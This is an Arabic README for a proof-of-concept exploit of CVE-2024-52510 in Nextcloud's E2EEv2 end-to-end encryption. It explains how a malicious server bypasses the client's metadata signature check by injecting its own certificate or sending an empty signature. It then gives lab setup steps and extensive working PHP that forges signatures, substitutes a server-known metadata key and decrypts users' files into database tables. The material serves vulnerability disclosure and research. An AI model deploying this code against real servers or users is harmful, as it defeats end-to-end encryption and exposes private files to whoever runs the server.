
استغلال إثبات المفهوم لـ CVE-2024-52510 يوضح تجاوز التوقيع في بروتوكول E2EEv2 الخاص بـ Nextcloud، مما يتيح فك تشفير الملفات المشفرة من جانب الخادم عبر حقن مفاتيح البيانات الوصفية.
أثناء التشغيل العادي لبروتوكول E2EEv2 في Nextcloud، يوقّع العملاء البيانات الوصفية للمجلدات توقيعًا تشفيريًا قبل رفعها إلى الخادم. وهذا يضمن عدم العبث بالبيانات الوصفية عند إعادة جلبها لأغراض مشاركة الملفات أو مزامنة التغييرات.
يتم التحقق من التوقيع بواسطة العميل في
foldermetadata.cpp:177
عند تهيئة البيانات الوصفية المجلوبة. ومع ذلك، توجد طريقتان يمكن لخادم خبيث من خلالهما تجاوز هذا الفحص:
يمكنه الرد برأس استجابة X-E2EE-SIGNATURE فارغ. وبما أن
الرأس فارغ، فإن الشرط عند
foldermetadata.cpp:168
يعني أن التحقق من التوقيع لا يحدث، ويتم قبول البيانات الوصفية المعدَّلة
من قبل العميل.
يمكنه حقن شهادة في مصفوفة JSON الخاصة بـ users، ثم توقيع
البيانات الوصفية بتلك الشهادة. وبما أنه يتم تمرير CMS_NO_SIGNER_CERT_VERIFY
عند
clientsideencryption.cpp:941,
فإن شهادة التوقيع لا تخضع للتحقق من سلسلة الشهادات، ولا يتحقق العميل إلا من
وجود شهادة التوقيع في متجه certificatePems
(clientsideencryption.cpp:955-971)
الذي يتحكم فيه الخادم.
في إثبات المفهوم هذا، سنعرض الطريقة الأخيرة لكونها الأصعب في التنفيذ، ومع ذلك فقد تم اختبار كلتا الطريقتين وثبت نجاحهما.
يمكن لخادم خبيث استخدام هذا التجاوز لتزويد العملاء بمفاتيح بيانات وصفية معروفة للخادم. سيستخدم العملاء بعد ذلك مفتاح البيانات الوصفية هذا لتشفير الملفات اللاحقة، مما يتيح للخادم فك تشفير الملفات وقراءتها في المجلدات المشفرة من طرف إلى طرف.
تستند طريقة استغلال تجاوز التوقيع هذه إلى هجوم اكتشفه Albrecht وBackendal وCoppola وPaterson في عام 2023 (https://eprint.iacr.org/2024/546) على نسخة سابقة من بروتوكول E2EE. في الواقع، كانت مصادقة مفاتيح البيانات الوصفية استراتيجية تخفيف للهجوم (انظر القسم 5.1 من الورقة المرتبطة).
استنسخ هذا المستودع، وافتحه في VS Code باستخدام إضافة DevContainer. تم توفير DevContainer مبني على الحاوية الموجودة في مستودع خادم Nextcloud مع التغييرات التالية:
mitmproxy على المنفذ 7001. يمكن الوصول إلى واجهة الويب على المنفذ 7002.encryption وend_to_end_encryption، وسيتم إنشاء حساب باسم مستخدم وكلمة مرور sharer.بمجرد تشغيل الخادم، اتصل به على http://localhost:8000 (أو عبر الوكيل العكسي على http://localhost:7001) باستخدام أحدث إصدار من العميل. لقد اختبرت هذا حاليًا على إصدار AppImage v3.13.2.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
عند الطلب، سجّل الدخول باسم المستخدم sharer وكلمة المرور sharer. اقبل خيارات المزامنة الافتراضية (إنشاء دليل ~/Nextcloud/ يحتوي على welcome.txt بداخله)، وقم بإعداد التشفير من طرف إلى طرف في إعدادات عميل Nextcloud.
أنشئ مجلدًا جديدًا باسم encrypted_folder داخل دليل ~/Nextcloud. في إعدادات عميل Nextcloud، علّم هذا المجلد على أنه مشفَّر.

Nextcloud/encrypted_folder، أنشئ ملفًا نصيًا بسيطًا وانتظر حتى تتم مزامنته.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
سجّل الدخول إلى قاعدة بيانات Postgres في Adminer على http://localhost:8080/ باستخدام بيانات الاعتماد التالية:
postgrespostgrespostgresوانتقل إلى الجدولين oc_e2e_encryption_metadata وoc_e2e_encryption_decrypted. يجب أن تتمكن من رؤية البيانات الوصفية بعد فك التشفير ومحتويات الملفات بالنص الصريح.

لقطات الشاشة أعلاه احتوت على ملفات اختبار إضافية تم إنشاؤها وحذفها، لذا ستختلف قليلًا عمّا ستراه.
يعتمد هذا المستودع على مستودعي خادم Nextcloud وتطبيق التشفير من طرف إلى طرف. معظم الكود لم يتغير، لذا سأحاول تقديم شرح للأشياء التي تم تغييرها.
أولًا، تم تعديل طريقة getMetadata في MetaDataStorage.php للعبث بالبيانات الوصفية المُرجعة عبر استدعاء طريقة جديدة باسم getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
في طريقة getFakeUserMetadata، نقوم أولًا بحقن شهادة مختارة في مفتاح users ضمن JSON. والهدف من ذلك تسهيل تزوير التوقيع.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
بعد ذلك، وبما أن لدينا إمكانية الوصول إلى المفتاح العام للعميل، يمكننا تشفير مفاتيحنا الخاصة واستبدال مفاتيح البيانات الوصفية المشفرة بمفاتيح نتحكم فيها.
/*
* Step 2: Change all the metadata keys to keys that we control.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
نظرًا لأننا عبثنا بمفاتيح البيانات الوصفية، فسنحتاج أيضًا إلى تغيير النص المشفر (ciphertext). إذا كنا قد نفّذنا الهجوم بنجاح من قبل، فستكون لدينا بيانات وصفية حقيقية يمكننا إعادة تشفيرها. وإلا فسننشئ كائن بيانات وصفية فارغًا ونشفّره.
/*
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the next PUT will
* contain metadata encrypted with a key known to us.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Return empty metadata */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
أخيرًا، نأخذ حمولة JSON المعدَّلة ونعيد توقيعها باستخدام شهادتنا. ومن البدائل أيضًا استخدام توقيع فارغ هنا.
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
بمجرد العبث بالبيانات الوصفية، سيستخدم العميل مفتاح التشفير الخاص بنا لتشفير أي بيانات وصفية جديدة. وعند استلام أي بيانات وصفية جديدة، نحاول فك تشفيرها باستخدام مفتاحنا.
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
أخيرًا، ننشئ مستمعًا (listener) لحدث إنشاء ملف جديد، ونحاول فك التشفير باستخدام مفاتيح الملفات الموجودة في البيانات الوصفية بعد فك تشفيرها.
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Metadata found: try to decrypt */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Decryption successful. Store in DB */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}